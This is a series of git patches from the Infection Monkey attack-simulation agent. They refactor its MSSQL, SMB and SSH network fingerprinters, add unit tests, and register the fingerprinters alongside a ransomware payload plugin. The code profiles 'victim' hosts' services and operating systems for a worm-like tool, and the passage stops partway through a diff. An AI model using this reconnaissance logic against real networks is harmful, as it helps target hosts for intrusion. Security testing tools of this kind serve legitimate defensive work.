-class MSSQLFinger(HostFinger): - # Class related consts - SQL_BROWSER_DEFAULT_PORT = 1434 - BUFFER_SIZE = 4096 - TIMEOUT = 5 - _SCANNED_SERVICE = "MSSQL" - - def __init__(self): - self._config = infection_monkey.config.WormConfiguration - - def get_host_fingerprint(self, host): - """Gets Microsoft SQL Server instance information by querying the SQL Browser service. - :arg: - host (VictimHost): The MS-SSQL Server to query for information. - - :returns: - Discovered server information written to the Host info struct. - True if success, False otherwise. - """ - - # Create a UDP socket and sets a timeout - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.settimeout(self.TIMEOUT) - server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT) - - # The message is a CLNT_UCAST_EX packet to get all instances - # https://msdn.microsoft.com/en-us/library/cc219745.aspx - message = "\x03" - - # Encode the message as a bytesarray - message = message.encode() - - # send data and receive response - try: - logger.info("Sending message to requested host: {0}, {1}".format(host, message)) - sock.sendto(message, server_address) - data, server = sock.recvfrom(self.BUFFER_SIZE) - except socket.timeout: - logger.info( - "Socket timeout reached, maybe browser service on host: {0} doesnt " - "exist".format(host) - ) - sock.close() - return False - except socket.error as e: - if e.errno == errno.ECONNRESET: - logger.info( - "Connection was forcibly closed by the remote host. The host: {0} is " - "rejecting the packet.".format(host) - ) - else: - logger.error( - "An unknown socket error occurred while trying the mssql fingerprint, " - "closing socket.", - exc_info=True, - ) - sock.close() - return False - - self.init_service( - host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT - ) - - # Loop through the server data - instances_list = data[3:].decode().split(";;") - logger.info("{0} MSSQL instances found".format(len(instances_list))) - for instance in instances_list: - instance_info = instance.split(";") - if len(instance_info) > 1: - host.services[self._SCANNED_SERVICE][instance_info[1]] = {} - for i in range(1, len(instance_info), 2): - # Each instance's info is nested under its own name, if there are multiple - # instances - # each will appear under its own name - host.services[self._SCANNED_SERVICE][instance_info[1]][ - instance_info[i - 1] - ] = instance_info[i] - # Close the socket - sock.close() - - return True diff --git a/monkey/infection_monkey/network/mssql_fingerprinter.py b/monkey/infection_monkey/network/mssql_fingerprinter.py new file mode 100644 index 000000000..dc1247c03 --- /dev/null +++ b/monkey/infection_monkey/network/mssql_fingerprinter.py @@ -0,0 +1,102 @@ +import errno +import logging +import socket +from typing import Any, Dict, Optional + +from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData + +MSSQL_SERVICE = "MSSQL" +SQL_BROWSER_DEFAULT_PORT = 1434 +_BUFFER_SIZE = 4096 +_MSSQL_SOCKET_TIMEOUT = 5 + +logger = logging.getLogger(__name__) + + +class MSSQLFingerprinter(IFingerprinter): + def get_host_fingerprint( + self, + host: str, + _: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, + ): + """Gets Microsoft SQL Server instance information by querying the SQL Browser service.""" + services = {} + + try: + data = _query_mssql_for_instance_data(host) + services = _get_services_from_server_data(data) + + except Exception as ex: + logger.debug(f"Did not detect an MSSQL server: {ex}") + + return FingerprintData(None, None, services) + + +def _query_mssql_for_instance_data(host: str) -> Optional[bytes]: + # Create a UDP socket and sets a timeout + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(_MSSQL_SOCKET_TIMEOUT) + + server_address = (host, SQL_BROWSER_DEFAULT_PORT) + + # The message is a CLNT_UCAST_EX packet to get all instances + # https://msdn.microsoft.com/en-us/library/cc219745.aspx + message = "\x03" + + # Encode the message as a bytes array + message = message.encode() + + # send data and receive response + try: + logger.info(f"Sending message to requested host: {host}, {message}") + sock.sendto(message, server_address) + data, _ = sock.recvfrom(_BUFFER_SIZE) + + return data + except socket.timeout as err: + logger.debug( + f"Socket timeout reached, maybe browser service on host: {host} doesnt " "exist" + ) + raise err + except socket.error as err: + if err.errno == errno.ECONNRESET: + error_message = ( + f"Connection was forcibly closed by the remote host. The host: {host} is " + "rejecting the packet." + ) + else: + error_message = ( + "An unknown socket error occurred while trying the mssql fingerprint, " + "closing socket." + ) + raise Exception(error_message) from err + finally: + sock.close() + + +def _get_services_from_server_data(data: bytes) -> Dict[str, Any]: + services = {MSSQL_SERVICE: {}} + services[MSSQL_SERVICE]["display_name"] = MSSQL_SERVICE + services[MSSQL_SERVICE]["port"] = SQL_BROWSER_DEFAULT_PORT + + # Loop through the server data + mssql_instances = filter(lambda i: i != "", data[3:].decode().split(";;")) + + for instance in mssql_instances: + instance_info = instance.split(";") + if len(instance_info) > 1: + services[MSSQL_SERVICE][instance_info[1]] = {} + for i in range(1, len(instance_info), 2): + # Each instance's info is nested under its own name, if there are multiple + # instances + # each will appear under its own name + services[MSSQL_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i] + + logger.debug(f"Found MSSQL instance: {instance}") + + if len(services[MSSQL_SERVICE].keys()) == 2: + services = {} + + return services diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_mssql_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network/test_mssql_fingerprinter.py new file mode 100644 index 000000000..93c40125e --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network/test_mssql_fingerprinter.py @@ -0,0 +1,102 @@ +import socket +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.i_puppet import PortScanData, PortStatus +from infection_monkey.network.mssql_fingerprinter import ( + MSSQL_SERVICE, + SQL_BROWSER_DEFAULT_PORT, + MSSQLFingerprinter, +) + +PORT_SCAN_DATA_BOGUS = { + 80: PortScanData(80, PortStatus.OPEN, "", "tcp-80"), + 8080: PortScanData(8080, PortStatus.OPEN, "", "tcp-8080"), +} + + +@pytest.fixture +def fingerprinter(): + return MSSQLFingerprinter() + + +def test_mssql_fingerprint_successful(monkeypatch, fingerprinter): + successful_service_response = { + "ServerName": "BogusVogus", + "InstanceName": "GhostServer", + "IsClustered": "No", + "Version": "11.1.1111.111", + "tcp": "1433", + "np": "blah_blah", + } + + successful_server_response = ( + b"\x05y\x00ServerName;BogusVogus;InstanceName;GhostServer;" + b"IsClustered;No;Version;11.1.1111.111;tcp;1433;np;blah_blah;;" + ) + monkeypatch.setattr( + "infection_monkey.network.mssql_fingerprinter._query_mssql_for_instance_data", + lambda _: successful_server_response, + ) + + fingerprint_data = fingerprinter.get_host_fingerprint( + "127.0.0.1", None, PORT_SCAN_DATA_BOGUS, {} + ) + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 1 + + # Each mssql instance is under his name + assert len(fingerprint_data.services["MSSQL"].keys()) == 3 + assert fingerprint_data.services["MSSQL"]["display_name"] == MSSQL_SERVICE + assert fingerprint_data.services["MSSQL"]["port"] == SQL_BROWSER_DEFAULT_PORT + mssql_service = fingerprint_data.services["MSSQL"]["BogusVogus"] + + assert len(mssql_service.keys()) == len(successful_service_response.keys()) + for key, value in successful_service_response.items(): + assert mssql_service[key] == value + + +@pytest.mark.parametrize( + "mock_query_function", + [ + MagicMock(side_effect=socket.timeout), + MagicMock(side_effect=socket.error), + MagicMock(side_effect=Exception), + ], +) +def test_mssql_no_response_from_server(monkeypatch, fingerprinter, mock_query_function): + monkeypatch.setattr( + "infection_monkey.network.mssql_fingerprinter._query_mssql_for_instance_data", + mock_query_function, + ) + + fingerprint_data = fingerprinter.get_host_fingerprint( + "127.0.0.1", None, PORT_SCAN_DATA_BOGUS, {} + ) + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 0 + + +def test_mssql_wrong_response_from_server(monkeypatch, fingerprinter): + + mangled_server_response = ( + b"Lorem ipsum dolor sit amet, consectetur adipiscing elit. " + b"Pellentesque ultrices ornare libero, ;;" + ) + monkeypatch.setattr( + "infection_monkey.network.mssql_fingerprinter._query_mssql_for_instance_data", + lambda _: mangled_server_response, + ) + + fingerprint_data = fingerprinter.get_host_fingerprint( + "127.0.0.1", None, PORT_SCAN_DATA_BOGUS, {} + ) + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 0 From 5d818154b9fc9aacc8540a907bc10da0e600396f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 9 Feb 2022 18:59:20 +0100 Subject: [PATCH 0349/1110] Agent: Load MSSQL fingerprinter into the Puppet --- monkey/infection_monkey/monkey.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 3e7bd3089..cfb1b077a 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -21,6 +21,7 @@ from infection_monkey.network.elasticsearch_fingerprinter import ElasticSearchFi from infection_monkey.network.firewall import app as firewall from infection_monkey.network.http_fingerprinter import HTTPFingerprinter from infection_monkey.network.info import get_local_network_interfaces +from infection_monkey.network.mssql_fingerprinter import MSSQLFingerprinter from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.puppet.puppet import Puppet from infection_monkey.system_singleton import SystemSingleton @@ -187,6 +188,7 @@ class InfectionMonkey: puppet = Puppet() puppet.load_plugin("elastic", ElasticSearchFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("mssql", MSSQLFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) From b63d739578751772aa3f63c066bfebae1533dd5c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Feb 2022 08:33:12 -0500 Subject: [PATCH 0350/1110] Agent: Replace *Finger* names with *Fingerprinter* in SMBFinger --- monkey/infection_monkey/network/smbfinger.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py index 2c76f652a..adf86a2da 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -62,7 +62,7 @@ class SMBNego(Packet): self.fields["bcc"] = struct.pack(" Date: Wed, 9 Feb 2022 08:33:49 -0500 Subject: [PATCH 0351/1110] Agent: Rename smb_finger.py -> smb_fingerprinter.py --- .../network/{smbfinger.py => smb_fingerprinter.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/infection_monkey/network/{smbfinger.py => smb_fingerprinter.py} (100%) diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smb_fingerprinter.py similarity index 100% rename from monkey/infection_monkey/network/smbfinger.py rename to monkey/infection_monkey/network/smb_fingerprinter.py From ab3daeb2e8d3a465aad4975e1983f17fcea7d1ed Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Feb 2022 09:55:00 -0500 Subject: [PATCH 0352/1110] Agent: Refactor the SMB fingerprinter to implement IFingerprinter --- .../network/smb_fingerprinter.py | 51 +++++++++++-------- 1 file changed, 30 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/network/smb_fingerprinter.py b/monkey/infection_monkey/network/smb_fingerprinter.py index adf86a2da..4d37b0efa 100644 --- a/monkey/infection_monkey/network/smb_fingerprinter.py +++ b/monkey/infection_monkey/network/smb_fingerprinter.py @@ -1,11 +1,19 @@ import logging import socket import struct +from typing import Dict from odict import odict -from infection_monkey.network.HostFinger import HostFinger +from infection_monkey.i_puppet import ( + FingerprintData, + IFingerprinter, + PingScanData, + PortScanData, + PortStatus, +) +SMB_DISPLAY_NAME = "SMB" SMB_PORT = 445 SMB_SERVICE = "tcp-445" @@ -127,22 +135,25 @@ class SMBSessionFingerprintData(Packet): self.fields["bcc1"] = struct.pack(" FingerprintData: + services = {} + smb_service = { + "display_name": SMB_DISPLAY_NAME, + "port": SMB_PORT, + } + os_type = None + os_version = None try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(0.7) - s.connect((host.ip_addr, SMB_PORT)) - - self.init_service(host.services, SMB_SERVICE, SMB_PORT) + s.connect((host, SMB_PORT)) h = SMBHeader(cmd=b"\x72", flag1=b"\x18", flag2=b"\x53\xc8") n = SMBNego(data=SMBNegoFingerprintData()) @@ -174,16 +185,14 @@ class SMBFingerprinter(HostFinger): ) if os_version.lower() != "unix": - host.os["type"] = "windows" + os_type = "windows" else: - host.os["type"] = "linux" + os_type = "linux" - host.services[SMB_SERVICE]["name"] = service_client - if "version" not in host.os: - host.os["version"] = os_version + smb_service["name"] = service_client - return True + services[SMB_SERVICE] = smb_service except Exception as exc: logger.debug("Error getting smb fingerprint: %s", exc) - return False + return FingerprintData(os_type, os_version, services) From fec7d987d8b06ac0dc75814637baecababde81d9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Feb 2022 09:56:29 -0500 Subject: [PATCH 0353/1110] Agent: Skip SMBFingerprinter if SMB_PORT is not open --- monkey/infection_monkey/network/smb_fingerprinter.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/network/smb_fingerprinter.py b/monkey/infection_monkey/network/smb_fingerprinter.py index 4d37b0efa..a0e87f311 100644 --- a/monkey/infection_monkey/network/smb_fingerprinter.py +++ b/monkey/infection_monkey/network/smb_fingerprinter.py @@ -150,6 +150,10 @@ class SMBFingerprinter(IFingerprinter): } os_type = None os_version = None + + if (SMB_PORT not in port_scan_data) or (port_scan_data[SMB_PORT].status != PortStatus.OPEN): + return FingerprintData(None, None, services) + try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(0.7) From f85bb389cc618626fa036b87b90689af236a290b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Feb 2022 11:57:13 -0500 Subject: [PATCH 0354/1110] Agent: Add some debug logging to SMBFingerprinter --- monkey/infection_monkey/network/smb_fingerprinter.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/network/smb_fingerprinter.py b/monkey/infection_monkey/network/smb_fingerprinter.py index a0e87f311..0d13a2d36 100644 --- a/monkey/infection_monkey/network/smb_fingerprinter.py +++ b/monkey/infection_monkey/network/smb_fingerprinter.py @@ -154,6 +154,8 @@ class SMBFingerprinter(IFingerprinter): if (SMB_PORT not in port_scan_data) or (port_scan_data[SMB_PORT].status != PortStatus.OPEN): return FingerprintData(None, None, services) + logger.debug(f"Fingerprinting potential SMB port {SMB_PORT} on {host}") + try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(0.7) @@ -188,6 +190,8 @@ class SMBFingerprinter(IFingerprinter): ] ) + logger.debug(f'os_version: "{os_version}", service_client: "{service_client}"') + if os_version.lower() != "unix": os_type = "windows" else: From 37eab76044a20b193758be787420976155e5c7d2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Feb 2022 13:02:54 -0500 Subject: [PATCH 0355/1110] Agent: Load SMBFingerprinter into the puppet --- monkey/infection_monkey/monkey.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index cfb1b077a..d15603e48 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -22,6 +22,7 @@ from infection_monkey.network.firewall import app as firewall from infection_monkey.network.http_fingerprinter import HTTPFingerprinter from infection_monkey.network.info import get_local_network_interfaces from infection_monkey.network.mssql_fingerprinter import MSSQLFingerprinter +from infection_monkey.network.smb_fingerprinter import SMBFingerprinter from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.puppet.puppet import Puppet from infection_monkey.system_singleton import SystemSingleton @@ -186,9 +187,11 @@ class InfectionMonkey: @staticmethod def _build_puppet() -> IPuppet: puppet = Puppet() + puppet.load_plugin("elastic", ElasticSearchFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("mssql", MSSQLFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) From 1c7ec9c41f66257e52ba27063e06c09a5fdd62f3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 10 Feb 2022 11:22:30 +0200 Subject: [PATCH 0356/1110] Agent: refactor ssh fingerprinter to fit the new model --- monkey/infection_monkey/master/mock_master.py | 6 +- monkey/infection_monkey/monkey.py | 2 + .../network/ssh_fingerprinter.py | 43 +++++++++ monkey/infection_monkey/network/sshfinger.py | 54 ----------- .../network/test_ssh_fingerprinter.py | 95 +++++++++++++++++++ 5 files changed, 143 insertions(+), 57 deletions(-) create mode 100644 monkey/infection_monkey/network/ssh_fingerprinter.py delete mode 100644 monkey/infection_monkey/network/sshfinger.py create mode 100644 monkey/tests/unit_tests/infection_monkey/network/test_ssh_fingerprinter.py diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index 274f960f8..ddb5ccffb 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -89,13 +89,13 @@ class MockMaster(IMaster): machine_1 = self._hosts["10.0.0.1"] machine_3 = self._hosts["10.0.0.3"] - self._puppet.fingerprint("SMBFinger", machine_1, None, None) + self._puppet.fingerprint("SMBFinger", machine_1, None, None, None) self._telemetry_messenger.send_telemetry(ScanTelem(machine_1)) - self._puppet.fingerprint("SMBFinger", machine_3, None, None) + self._puppet.fingerprint("SMBFinger", machine_3, None, None, None) self._telemetry_messenger.send_telemetry(ScanTelem(machine_3)) - self._puppet.fingerprint("HTTPFinger", machine_3, None, None) + self._puppet.fingerprint("HTTPFinger", machine_3, None, None, None) self._telemetry_messenger.send_telemetry(ScanTelem(machine_3)) logger.info("Finished running fingerprinters on potential victims") diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index d15603e48..e06a39689 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -23,6 +23,7 @@ from infection_monkey.network.http_fingerprinter import HTTPFingerprinter from infection_monkey.network.info import get_local_network_interfaces from infection_monkey.network.mssql_fingerprinter import MSSQLFingerprinter from infection_monkey.network.smb_fingerprinter import SMBFingerprinter +from infection_monkey.network.ssh_fingerprinter import SSHFingerprinter from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.puppet.puppet import Puppet from infection_monkey.system_singleton import SystemSingleton @@ -192,6 +193,7 @@ class InfectionMonkey: puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("mssql", MSSQLFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) diff --git a/monkey/infection_monkey/network/ssh_fingerprinter.py b/monkey/infection_monkey/network/ssh_fingerprinter.py new file mode 100644 index 000000000..14c9ae70e --- /dev/null +++ b/monkey/infection_monkey/network/ssh_fingerprinter.py @@ -0,0 +1,43 @@ +import re +from typing import Dict, Tuple, Union + +from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData + +SSH_PORT = 22 +SSH_REGEX = r"SSH-\d\.\d-OpenSSH" +LINUX_DIST_SSH = ["ubuntu", "debian"] + + +class SSHFingerprinter(IFingerprinter): + _SCANNED_SERVICE = "SSH" + + def __init__(self): + self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE) + + def get_host_fingerprint( + self, host: str, _ping_scan_data, port_scan_data: Dict[int, PortScanData], _options + ) -> FingerprintData: + os_type = None + os_version = None + services = {} + + for ps_data in list(port_scan_data.values()): + if ps_data.banner and self._banner_regex.search(ps_data.banner): + os_type, os_version = self._get_host_os(ps_data.banner) + services[f"tcp-{ps_data.port}"] = { + "display_name": SSHFingerprinter._SCANNED_SERVICE, + "port": ps_data.port, + "name": "ssh", + } + return FingerprintData(os_type, os_version, services) + + @staticmethod + def _get_host_os(banner) -> Tuple[Union[str, None], Union[str, None]]: + os = None + os_version = None + for dist in LINUX_DIST_SSH: + if banner.lower().find(dist) != -1: + os_version = banner.split(" ").pop().strip() + os = "linux" + + return os, os_version diff --git a/monkey/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py deleted file mode 100644 index df21ef35b..000000000 --- a/monkey/infection_monkey/network/sshfinger.py +++ /dev/null @@ -1,54 +0,0 @@ -import re - -import infection_monkey.config -from infection_monkey.network.HostFinger import HostFinger -from infection_monkey.network.tools import check_tcp_port - -SSH_PORT = 22 -SSH_SERVICE_DEFAULT = "tcp-22" -SSH_REGEX = r"SSH-\d\.\d-OpenSSH" -TIMEOUT = 10 -BANNER_READ = 1024 -LINUX_DIST_SSH = ["ubuntu", "debian"] - - -class SSHFinger(HostFinger): - _SCANNED_SERVICE = "SSH" - - def __init__(self): - self._config = infection_monkey.config.WormConfiguration - self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE) - - @staticmethod - def _banner_match(service, host, banner): - host.services[service]["name"] = "ssh" - for dist in LINUX_DIST_SSH: - if banner.lower().find(dist) != -1: - host.os["type"] = "linux" - os_version = banner.split(" ").pop().strip() - if "version" not in host.os: - host.os["version"] = os_version - - break - - def get_host_fingerprint(self, host): - - for name, data in list(host.services.items()): - banner = data.get("banner", "") - if self._banner_regex.search(banner): - self._banner_match(name, host, banner) - host.services[SSH_SERVICE_DEFAULT]["display_name"] = self._SCANNED_SERVICE - return - - is_open, banner = check_tcp_port(host.ip_addr, SSH_PORT, TIMEOUT, True) - - if is_open: - self.init_service(host.services, SSH_SERVICE_DEFAULT, SSH_PORT) - - if banner: - host.services[SSH_SERVICE_DEFAULT]["banner"] = banner - if self._banner_regex.search(banner): - self._banner_match(SSH_SERVICE_DEFAULT, host, banner) - return True - - return False diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_ssh_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network/test_ssh_fingerprinter.py new file mode 100644 index 000000000..b3df98cd9 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network/test_ssh_fingerprinter.py @@ -0,0 +1,95 @@ +import pytest + +from infection_monkey.i_puppet import FingerprintData, PortScanData, PortStatus +from infection_monkey.network.ssh_fingerprinter import SSHFingerprinter + + +@pytest.fixture +def ssh_fingerprinter(): + return SSHFingerprinter() + + +def test_no_ssh_ports_open(ssh_fingerprinter): + port_scan_data = { + 22: PortScanData(22, PortStatus.CLOSED, "", "tcp-22"), + 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), + 443: PortScanData(443, PortStatus.CLOSED, "", "tcp-443"), + } + results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) + + assert results == FingerprintData(None, None, {}) + + +def test_no_os(ssh_fingerprinter): + port_scan_data = { + 22: PortScanData(22, PortStatus.OPEN, "SSH-2.0-OpenSSH_8.2p1", "tcp-22"), + 2222: PortScanData(2222, PortStatus.OPEN, "SSH-2.0-OpenSSH_8.2p1", "tcp-2222"), + 443: PortScanData(443, PortStatus.CLOSED, "", "tcp-443"), + 8080: PortScanData(8080, PortStatus.CLOSED, "", "tcp-8080"), + } + results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) + + assert results == FingerprintData( + None, + None, + { + "tcp-22": { + "display_name": "SSH", + "port": 22, + "name": "ssh", + }, + "tcp-2222": { + "display_name": "SSH", + "port": 2222, + "name": "ssh", + }, + }, + ) + + +def test_ssh_os(ssh_fingerprinter): + port_scan_data = { + 22: PortScanData(22, PortStatus.OPEN, "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2", "tcp-22"), + 443: PortScanData(443, PortStatus.CLOSED, "", "tcp-443"), + 8080: PortScanData(8080, PortStatus.CLOSED, "", "tcp-8080"), + } + results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) + + assert results == FingerprintData( + "linux", + "Ubuntu-4ubuntu0.2", + { + "tcp-22": { + "display_name": "SSH", + "port": 22, + "name": "ssh", + } + }, + ) + + +def test_multiple_os(ssh_fingerprinter): + port_scan_data = { + 22: PortScanData(22, PortStatus.OPEN, "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2", "tcp-22"), + 2222: PortScanData(2222, PortStatus.OPEN, "SSH-2.0-OpenSSH_8.2p1 Debian", "tcp-2222"), + 443: PortScanData(443, PortStatus.CLOSED, "", "tcp-443"), + 8080: PortScanData(8080, PortStatus.CLOSED, "", "tcp-8080"), + } + results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) + + assert results == FingerprintData( + "linux", + "Debian", + { + "tcp-22": { + "display_name": "SSH", + "port": 22, + "name": "ssh", + }, + "tcp-2222": { + "display_name": "SSH", + "port": 2222, + "name": "ssh", + }, + }, + ) From f9b803b1ae9a537e8dc498f7fc2bd23e7aadfdde Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Feb 2022 07:08:02 -0500 Subject: [PATCH 0357/1110] Agent: Minor code quality improvements to SSHFingerprinter --- .../network/ssh_fingerprinter.py | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/network/ssh_fingerprinter.py b/monkey/infection_monkey/network/ssh_fingerprinter.py index 14c9ae70e..32aa20ad9 100644 --- a/monkey/infection_monkey/network/ssh_fingerprinter.py +++ b/monkey/infection_monkey/network/ssh_fingerprinter.py @@ -1,38 +1,40 @@ import re -from typing import Dict, Tuple, Union +from typing import Dict, Optional, Tuple -from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData +from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData -SSH_PORT = 22 SSH_REGEX = r"SSH-\d\.\d-OpenSSH" LINUX_DIST_SSH = ["ubuntu", "debian"] +DISPLAY_NAME = "SSH" class SSHFingerprinter(IFingerprinter): - _SCANNED_SERVICE = "SSH" - def __init__(self): self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE) def get_host_fingerprint( - self, host: str, _ping_scan_data, port_scan_data: Dict[int, PortScanData], _options + self, + host: str, + _ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + _options: Dict, ) -> FingerprintData: os_type = None os_version = None services = {} - for ps_data in list(port_scan_data.values()): + for ps_data in port_scan_data.values(): if ps_data.banner and self._banner_regex.search(ps_data.banner): os_type, os_version = self._get_host_os(ps_data.banner) services[f"tcp-{ps_data.port}"] = { - "display_name": SSHFingerprinter._SCANNED_SERVICE, + "display_name": DISPLAY_NAME, "port": ps_data.port, "name": "ssh", } return FingerprintData(os_type, os_version, services) @staticmethod - def _get_host_os(banner) -> Tuple[Union[str, None], Union[str, None]]: + def _get_host_os(banner) -> Tuple[Optional[str], Optional[str]]: os = None os_version = None for dist in LINUX_DIST_SSH: From 98a2f0b88712ed5f1577f25b3ecd93addf155f5c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Feb 2022 07:15:03 -0500 Subject: [PATCH 0358/1110] Agent: Use consistent DISPLAY_NAME constant in fingerprinters --- .../infection_monkey/network/elasticsearch_fingerprinter.py | 3 ++- monkey/infection_monkey/network/http_fingerprinter.py | 4 +++- monkey/infection_monkey/network/mssql_fingerprinter.py | 3 ++- monkey/infection_monkey/network/smb_fingerprinter.py | 4 ++-- 4 files changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/network/elasticsearch_fingerprinter.py b/monkey/infection_monkey/network/elasticsearch_fingerprinter.py index 6670c3621..cbdce5812 100644 --- a/monkey/infection_monkey/network/elasticsearch_fingerprinter.py +++ b/monkey/infection_monkey/network/elasticsearch_fingerprinter.py @@ -13,6 +13,7 @@ from infection_monkey.i_puppet import ( PortStatus, ) +DISPLAY_NAME = "ElasticSearch" ES_PORT = 9200 ES_HTTP_TIMEOUT = 5 logger = logging.getLogger(__name__) @@ -54,7 +55,7 @@ def _query_elasticsearch(host: str) -> Dict[str, Any]: def _get_service_from_query_info(elasticsearch_info: Dict[str, Any]) -> Dict[str, Any]: try: return { - "display_name": "ElasticSearch", + "display_name": DISPLAY_NAME, "port": ES_PORT, "cluster_name": elasticsearch_info["cluster_name"], "name": elasticsearch_info["name"], diff --git a/monkey/infection_monkey/network/http_fingerprinter.py b/monkey/infection_monkey/network/http_fingerprinter.py index 6333dad6a..8ececc72a 100644 --- a/monkey/infection_monkey/network/http_fingerprinter.py +++ b/monkey/infection_monkey/network/http_fingerprinter.py @@ -15,6 +15,8 @@ from infection_monkey.i_puppet import ( logger = logging.getLogger(__name__) +DISPLAY_NAME = "HTTP" + class HTTPFingerprinter(IFingerprinter): """ @@ -38,7 +40,7 @@ class HTTPFingerprinter(IFingerprinter): if server_header_contents is not None: services[f"tcp-{port}"] = { - "display_name": "HTTP", + "display_name": DISPLAY_NAME, "port": port, "name": "http", "data": (server_header_contents, ssl), diff --git a/monkey/infection_monkey/network/mssql_fingerprinter.py b/monkey/infection_monkey/network/mssql_fingerprinter.py index dc1247c03..18630aaa7 100644 --- a/monkey/infection_monkey/network/mssql_fingerprinter.py +++ b/monkey/infection_monkey/network/mssql_fingerprinter.py @@ -6,6 +6,7 @@ from typing import Any, Dict, Optional from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData MSSQL_SERVICE = "MSSQL" +DISPLAY_NAME = MSSQL_SERVICE SQL_BROWSER_DEFAULT_PORT = 1434 _BUFFER_SIZE = 4096 _MSSQL_SOCKET_TIMEOUT = 5 @@ -78,7 